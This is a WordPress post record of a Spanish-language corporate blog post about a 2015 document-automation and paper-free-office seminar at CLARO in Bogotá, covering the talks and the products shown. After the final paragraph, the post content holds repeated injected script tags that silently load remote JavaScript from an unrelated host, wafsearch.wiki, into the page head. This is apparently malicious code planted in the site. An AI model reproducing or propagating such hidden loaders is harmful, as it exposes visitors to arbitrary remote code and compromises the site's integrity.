{"id":1678,"date":"2015-12-14T14:45:53","date_gmt":"2015-12-14T19:45:53","guid":{"rendered":"https:\/\/149.56.148.186\/?p=1678"},"modified":"2026-03-20T04:17:12","modified_gmt":"2026-03-20T09:17:12","slug":"exito-en-el-seminario-de-automatizacion-documental-e-integracion-de-procesos-en-claro","status":"publish","type":"post","link":"https:\/\/www.adapting.com\/en\/exito-en-el-seminario-de-automatizacion-documental-e-integracion-de-procesos-en-claro\/","title":{"rendered":"\u00c9xito en el Seminario de Automatizaci\u00f3n Documental e Integraci\u00f3n de Procesos en CLARO"},"content":{"rendered":"<p>Celebrado en las instalaciones de <strong>CLARO en Bogot\u00e1<\/strong>, cont\u00f3 con la asistencia de <strong>m\u00e1s de 60 personas<\/strong> y con el siguiente orden del d\u00eda:<\/p>\n<ul>\n<li>El concepto de la <b>Oficina Ce<\/b>ro seg\u00fan CLARO (20 min, A. S\u00e1nchez)<\/li>\n<li><b>Metodolog\u00eda<\/b> para desarrollar un proyecto de Cero Papel (20 min, L. Guzm\u00e1n)<\/li>\n<li>Casos de <b>automatizaci\u00f3n e integraci\u00f3n <\/b>documental (40 min, R. Lafuente)<\/li>\n<li>Caso de <b>integraci\u00f3n de un BPM <\/b>con un ECM (20 min, J. Delgado)<\/li>\n<li>Automatizaci\u00f3n de documentos con un <b>sistema OCR\/ICR<\/b> (20 min, D. Le\u00f3n)<\/li>\n<li><b>C\u00e1lculo del ROI <\/b>en proyectos de tecnolog\u00eda (20 min, R. Lafuente)<\/li>\n<li><b>CBOX<\/b>: soluci\u00f3n Cloud para Correspondencia de CLARO (10 min, L. Guzm\u00e1n)<\/li>\n<\/ul>\n<p>Durante las presentaciones pudimos conocer la apuesta de la operadora CLARO por la innovaci\u00f3n empresarial y su apoyo a las empresas participantes en este evento, destacando el sistema <strong>ABOX-ECM<\/strong>, seleccionado por CLARO para su estrategia de gesti\u00f3n documental en la nube.<\/p>\n<p>En la ponencia sobre metodolog\u00edas para desarrollar la Oficina Cero Papel, D. Leonardo Guzm\u00e1n mostr\u00f3 una secuencia de pasos recomendados para a<a href=\"https:\/\/www.adapting.com\/wp-content\/uploads\/2015\/12\/squadra1-e1450122872762.jpg\"><img loading=\"lazy\" class=\"size-medium wp-image-1683 alignleft\" src=\"https:\/\/www.adapting.com\/wp-content\/uploads\/2015\/12\/squadra1-300x259.jpg\" alt=\"edif squadra-claro\" width=\"300\" height=\"259\" \/><\/a>segurar el \u00e9xito de este tipo de proyectos y destac\u00f3 los <strong>riesgos<\/strong> de no abordar correctamente estas iniciativas, confundiendo una supuesta abundancia legislativa con la necesaria racionalidad a la hora de enfrentar un <strong>Proyecto Cero Papel<\/strong>. En su presentaci\u00f3n se hizo evidente que la clave del \u00e9xito radica en una adecuada integraci\u00f3n entre aplicaciones especializadas, ya que no es viable encontrar una sola aplicaci\u00f3n que cumpla con todos los requisitos exigibles a un proyecto global de Cero Papel.<\/p>\n<p>En la presentaci\u00f3n de automatizaci\u00f3n documental,\u00a0 el Dr. Lafuente, gerente t\u00e9cnico de Adapting, mostr\u00f3 4 ejemplos muy impactantes de automatizaci\u00f3n con un <strong>gestor documental<\/strong>, ejemplos muy habituales en cualquier organizaci\u00f3n en la que conviven los archivos f\u00edsicos con los electr\u00f3nicos:<\/p>\n<ul>\n<li>Radicaci\u00f3n, clasificaci\u00f3n y control de respuesta a PQRs<\/li>\n<li>Radicaci\u00f3n, clasificaci\u00f3n y control de pago de Cuentas por Pagar<\/li>\n<li>Creaci\u00f3n y tr\u00e1mite de expediente con plantillas autom\u00e1ticas<\/li>\n<li>B\u00fasquedas combinadas en metadatos y archivos<\/li>\n<li>Integraci\u00f3n con ERPs, gestores de proyectos y redes sociales<\/li>\n<\/ul>\n<p>En su ponencia, lo que m\u00e1s llam\u00f3 la atenci\u00f3n fue la integraci\u00f3n mediante <strong>whatsup, email y voz<\/strong> con un portal de certificaci\u00f3n electr\u00f3nica en la nube, que permitir\u00e1 a cualquier usuario realizar autorizaciones y\/o firmas, utilizando certificados electr\u00f3nicos avanzados (p12), cumpliendo los requisitos legales y estableciendo una seguridad para la empresa, ante cualquier tipo de intento de revocaci\u00f3n o suplantaci\u00f3n.<\/p>\n<p>El Sr. Delgado, preventa senior en <strong>Bizagi<\/strong>, explic\u00f3 las diferencias entre un ECM como Abox y un BPMS como Bizagi. La fortaleza de este tipo de soluciones m\u00e1s orientada a la gesti\u00f3n de procesos frente a la fortaleza de los ECMs m\u00e1s orientados a la gesti\u00f3n de los documentos y sus agrupaciones. As\u00ed mismo nos mostr\u00f3 en tiempo real una integraci\u00f3n sorprendente entre Bizagi y Abox, demostrando que la uni\u00f3n de ambas aplicaciones es mucho m\u00e1s eficaz que el trabajo individual de las mismas.<\/p>\n<p>El Sr. Le\u00f3n mostr\u00f3 las capacidades de <strong>Abbyy<\/strong> para la captura inteligente de formularios y la detecci\u00f3n y clasificaci\u00f3n de formatos. En una demostraci\u00f3n real pudimos contemplar como Abbyy clasifica y captura aut\u00f3nomamente documentos, permite su verificaci\u00f3n confiable y automatiza su transferencia a otros sistemas empresariales, como ERPs o ECMs. Tambi\u00e9n se hizo evidente la necesidad de integraci\u00f3n de este tipo de soluciones tan avanzadas tecnol\u00f3gicamente con otras herramientas de gesti\u00f3n empresarial.<\/p>\n<p>CLARO invit\u00f3 a los asistentes a un<strong> SHOW-ROOM<\/strong>\u00a0 en la que se explicaron todas las tecnolog\u00edas desarrolladas o soportadas por CLARO en diferentes \u00e1mbitos: movilidad, telecomunicaci\u00f3n, smart-cities, salud, educaci\u00f3n, etc. Con impactantes videos y material demostrativo real pudimos conocer de primera mano la oferta de CLARO y su singular apuesta por la innovaci\u00f3n disruptiva.<\/p>\n<p>Las ponencias finalizaron con una explicaci\u00f3n muy concreta del Sr. Lafuente sobre el significado del <strong>Retorno de la Inversi\u00f3n<\/strong> (return on investment) en proyectos de innovaci\u00f3n tecnol\u00f3gica. Se vieron 2 modelos extremos de gesti\u00f3n empresarial, modelo reactivo sin inversi\u00f3n en tecnolog\u00edas vs. modelo anticipativo con inversi\u00f3n en tecnolog\u00eda. Los resultados esperables en cada uno de los modelos fueron muy impactantes: la inversi\u00f3n en tecnolog\u00eda no s\u00f3lo es necesaria para asegurar la permanencia en el mercado, sino que aporta beneficios sustanciales a partir de aprox. 15-18 meses frente al modelo conservador. Igualmente, el ponente mostr\u00f3 ejemplos de c\u00f3mo calcular el ROI en sistemas de gesti\u00f3n electr\u00f3nica de documentos de archivo. Indic\u00f3 que en Colombia el retorno de la inversi\u00f3n es muy r\u00e1pido, entre 9 y 18 meses, seg\u00fan el tama\u00f1o de la empresa.<script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = 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